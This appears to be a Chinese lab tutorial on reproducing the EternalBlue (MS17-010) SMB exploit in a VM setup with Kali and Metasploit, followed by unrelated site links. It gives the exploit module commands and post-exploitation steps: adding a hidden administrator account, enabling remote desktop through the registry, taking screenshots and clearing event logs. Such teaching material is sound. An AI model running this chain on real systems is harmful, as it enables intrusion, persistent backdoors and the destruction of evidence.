实验⼀:Windows主机漏洞利⽤攻击实践

news2024/12/23 14:49:14

永恒之蓝简介

   永恒之蓝(Eternal Blue)爆发于2017414日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017512日, 不法分子通过改造永恒之蓝制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

 

• MS17-010是Windows SMBv1服务中存在的远程代码执行漏洞;

• 开启SMB服务(445端口)的系统可被执行远程代码,从而导致被远程控制;

• 受影响系统:Windows XP、Windows 7/8/10、Server 2003/2008/2012/2016。

SMB协议

SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

SMB原理

 1 )首先客户端发送一个SMB negport 请求数据报,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。

 2  协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。

 3 )当客户端和服务器完成了磋商和认证之后,它会发送一个TconTconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。

 4 )连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

  漏洞原理

漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。然后会进行如下操作:

       1.srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小

        2.因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list

       3.因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出

漏洞危害

      永恒之蓝是在 Windows SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

漏洞复现

实验环境

大家需要先下载好 Vmware虚拟机软件、Kali Linux虚拟机、 Windows7虚拟机:

Vmware Workstation 15 pro 虚拟机:

https://pan.baidu.com/s/1ycFuqRzPn4Ax5G8DQKRQ8A 密码:75uc

若使用苹果电脑MacOS,可使用以下 Vmware Fushion下载链接 链接:https://pan.baidu.com/s/1789g8SkYZN5-6cxHzOHQBw 密码:b00h

Kali Linux:https://pan.baidu.com/s/1reDjdkyEb0NiDYHwVcmmag 密码:octj

Windows 7:https://pan.baidu.com/s/16klld7xjsMUSNTx19-J6Tg 密码:mkc8

1、如何用 Vmware 打开虚拟机文件?

Kali 虚拟机:先解压缩,再用 Vmware 【打开虚拟机】,寻找.vmx 后缀文件打开

Win 7 虚拟机: 点击 Vmware 【导入】,寻找.ovf 后缀文件打开

2、Windows 7 登录密码是什么

pinginglab

3、这些虚机是要装自己机器上?还是靶机?

先安装好 vmware 虚拟机软件,之后用 vmware 来运行这些靶机,这样就可以跟真机隔离 开,保证安全性

4、 两台虚拟机用什么命令 ping 通不通

ping + 目标 IP

5、 kali只要是 2020 就行吧

是的,如果之前有安装过 2017 或之后的版本,其实也可以,后续的版本基本上 msf 的漏 洞库 ,够用了, 并且默认的账号密码, root / toor ,修改为 kali / kali ;就是默认是普 通账号 ,而不是管理员了

6、 2020 kali 的 root 的密码是?

kali/kali 说明下 kali/kali 是普通账号 ,关于 root 2020 默认不能 root 登陆 sudo passwd root 密码就行

7、怎么没有用户名和密码栏

左下 password 里面填写

8、镜像文件先保存在百度网盘里,再下载,下载不下来,是什么原因

如果是网页端的话,有时候按钮会被拦截或者卡壳; 电脑客户端的话, 会稳定一些

目标主机 ->  Win7192.168.11.136

 攻击机 ->  Kali192.168.11.130

完整过程

扫描目标主机是否存在该漏洞

nmap --script smb-vuln* 目标主机IP

 实施攻击阶段

进入metasploit渗透测试框架 msfconsole

• 搜索ms17010相关漏洞利用代码 search ms17-010:

• 注:要实现渗透效果,Win7防火墙需关闭

使用ms17-010扫描模块,对靶机Win7进行扫描

 • 使用模块 msf > use auxiliary/scanner/smb/smb_ms17_010 或者use 4

• 设置目标IP或网段 msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.11.136

• 执行扫描 msf auxiliary(smb_ms17_010) > run或者exploit

使用ms17-010渗透模块,对靶机Win7进行渗透

 • 使用模块 msf > use exploit/windows/smb/ms17_010_eternalblue 或者use 0

• 查看可设置的选项 msf exploit(ms17_010_eternalblue) > show options

 

  • 设置渗透目标ip msf exploit(ms17_010_eternalblue) > set RHOST 192.168.11.136

 • 执行渗透 msf exploit(ms17_010_eternalblue) > exploit

 MeterpreterMetasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等

漏洞利用

查看靶机进程:ps

查看当前目录信息 dir

切换到C cd c:\

删除文件 del pinginglab.pdf

删除文件夹 test rmdir test

创建用户名密码 blue/blue net user blue blue /add

将用户blue添加入管理组 net localgroup administrators blue /add

开启远程桌面功能 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

 Kali远程桌面连接Win7

监控靶机桌面:run vnc

截取靶机屏幕:screenshot

获取靶机shellshell

      shell中可正常执行命令操作:添加/删除用户,更改密码,权限管理,写文件(留后门)

清楚日志(清痕迹)clearev

查看靶机进程:ps

获取靶机shellshell

      shell中可正常执行命令操作:添加/删除用户,更改密码,权限管理,写文件(留后门)

创建用户名密码 net user blue blue /add

将用户blue添加入管理组 net localgroup administrators blue /add

开启远程桌面功能 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

 Kali远程桌面连接Win7 rdesktop 192.168.11.136:3389

 

 

 清楚日志(清痕迹)clearev

​​​​​​​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/147405.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【ROS】—— ROS重名问题(九)

文章目录前言1. ROS工作空间覆盖2. ROS节点名称重名2.1 rosrun设置命名空间与重映射2.1.1 rosrun设置命名空间2.1.2 rosrun名称重映射2.1.3 rosrun命名空间与名称重映射叠加2.2 launch文件设置命名空间与重映射2.3 编码设置命名空间与重映射2.3.1 重映射2.3.2 C 实现:命名空间3…

Maven基础学习——依赖配置(1):配置同一项目下的三个工程

依赖配置一、前言二、创建第一个工程三、新建第二个工程四、创建第三个工程五、配置1.每个工程的.xml文件2.文件配置六、结语一、前言 在讲述依赖配置时,需要使用实例来说明,在B站黑马课程(第12小节)中没有讲到如何配置基础的三个…

[Effective Objective] 熟悉Objective-C

了解 Objective-C Objective_C 是一种面向对象的语言。但与jave、C等语言不同,它使用了消息结构(messaging structure)而非函数调用(function calling)。Objective-C由Smalltalk演化而来,后者是消息语言的…

React 学习笔记总结(六)

文章目录1. redux 介绍2. redux 工作流程3. redux 的使用4. redux 完整结构补充5. redux的 异步action6. react-redux库 与 redux库7. react-redux库的 实战8. react-redux的connect 最精简写法9. react-redux的 Provider组件作用10. react-redux 整合UI组件 和 容器组件11. re…

webgl图形平移、缩放、旋转

文章目录前言平移图示代码示例缩放图示代码示例旋转公式推导代码示例总结前言 在webgl中将图形进行平移、旋转、缩放的操作称为变换或仿射变换,图形的仿射变换涉及到顶点位置的修改,通过顶点着色器是比较直接的方式。本文通过着色器实现对webgl图形的仿…

ArcGIS基础实验操作100例--实验65按字段调整点符号方向

本实验专栏参考自汤国安教授《地理信息系统基础实验操作100例》一书 实验平台:ArcGIS 10.6 实验数据:请访问实验1(传送门) 高级编辑篇--实验65 按字段调整点符号方向 目录 一、实验背景 二、实验数据 三、实验步骤 &#xff0…

计算机组成原理_总线

计算机组成原理总目录总线概述 1. 总线介绍 我们知道计算机中有CPU、主存、辅存,以及打印机、键盘、鼠标等等的一些外设 那么各个设备之间肯定是要进行数据传输的,这就需要许多线路将它们连接起来 第一种方法:两两相联 外设数量越多&#xf…

35、基于STM32的电子钟(DS1302)

编号:35 基于STM32的电子钟(DS1302) 功能描述: 本设计由STM32单片机液晶1602按键DS1302时钟组成。 1、采用STM32F103最小系统。 2、利用DS1302芯片提供时钟信号 3、液晶1602实时显示年月日、时分秒、星期等信息。 4、三个按键可…

隐形AR眼镜厂商Mojo Vision裁员75%,专注Micro LED技术

1月7日青亭网报道,隐形AR眼镜厂商Mojo Vision官方宣布了一项重大调整,其中因为产品进展问题,同时还有融资进展受阻等面临大裁员,将进行一系列中心调整,据了解本次裁员比例高达75%。重点关注:1,M…

【Day5】力扣第328题,奇偶链表

前言: 大家好,我是良辰丫🚀🚀🚀,今天带大家刷一个力扣链表题,有人可能会说,一道题够嘛,刚开始刷题别着急,毕竟,心急吃不了热豆腐,&…

Mathorcup数学建模竞赛第六届-【妈妈杯】B题:小区车位分布的评价和优化模型(附特等奖获奖论文和Java代码)

赛题描述 随着现代社会经济的快速发展,房地产成为国家经济发展中重要的经济增长点之一。而小区内汽车停车位的分布对于小区居民的上下班出行影响很大。请建立数学模型,解决下列问题: 问题1:分析评判小区汽车停车位分布是否合理的几个关键指标,建立评判车位分布合理的数学…

嵌入式Linux-对子进程的监控

1. 进程的诞生与终止 1.1 进程的诞生 一个进程可以通过 fork()或 vfork()等系统调用创建一个子进程,一个新的进程就此诞生!事实上,Linux系统下的所有进程都是由其父进程创建而来,譬如在 shell 终端通过命令的方式执行一个程序./…

leetcode 1658. 将 x 减到 0 的最小操作数[python3 双指针实现与思路整理]

题目 给你一个整数数组 nums 和一个整数 x 。每一次操作时,你应当移除数组 nums 最左边或最右边的元素,然后从 x 中减去该元素的值。请注意,需要 修改 数组以供接下来的操作使用。 如果可以将 x 恰好 减到 0 ,返回 最小操作数 &a…

HTML与CSS基础(四)—— CSS基础(选择器进阶、Emmet语法、背景属性、元素显示模式、三大特性)

一、选择器进阶目标:能够理解 复合选择器 的规则,并使用 复合选择器 在 HTML 中选择元素1. 复合选择器1.1 后代选择器:空格作用:根据 HTML 标签的嵌套关系,选择父元素 后代中 满足条件的元素 选择器语法:选…

第二章JavaWeb基础学习路线

文章目录什么是Java WebJava Web基础的技术栈关于我们的客户端与服务端(BS)我们客户端的形式**PC端网页****移动端**服务端应用程序关于请求(request)和响应(response)类比生活中的请求和响应服务器中的请求和响应项目的逻辑构成架…

CSS权威指南(六)文字属性

1.缩进和行内对齐 (1)缩进文本(text-indent) text-indent属性把元素的第一行文本缩进指定的长度,缩进的长度可以可以是负值。这个属性通常用于缩进段落的第一行。text-indent作用于块级元素之上,缩进将沿着…

config:配置中心

Spring Cloud Config 为分布式系统中的外部配置提供服务器端和客户端支持。使用 Config Server,您可以集中管理所有环境中应用程序的外部配置。 Spring Cloud Config就是一个配置中心,所有的服务都可以从配置中心取出配置,而配置中心又可以从…

mmap(内存映射)、sendfile() 与零拷贝技术

内存映射(Memory-mapped I/O)是将磁盘文件的数据映射到内存,用户通过修改内存就能修改磁盘文件。 RocketMQ为什么快?kafka为什么快?什么是mmap?这些问题都逃不过一个点,就是零拷贝。 虽然还有其…

电脑不能开机的几个常见原因

现在手机已经将电脑取代了,用电脑的越来越少,因为一些原因上网课的多了起来,大家都将放置几年的电脑搬了出来,开不开机的大有人在,由于机器闲置很久大多都出现了各种各样的故障和问题,在这里总结了电脑台式…

C语言:浮点型存储方式

浮点型存储方式 任意一个二进制浮点数V可以表示成下面的形式 (-1)^S *M *2^E 1(S符号位) 8(E阶码) 23(M尾码)省略首位1 S:表示正负 只有0/1两个值 M:由浮点数转化成二进制数表示 在…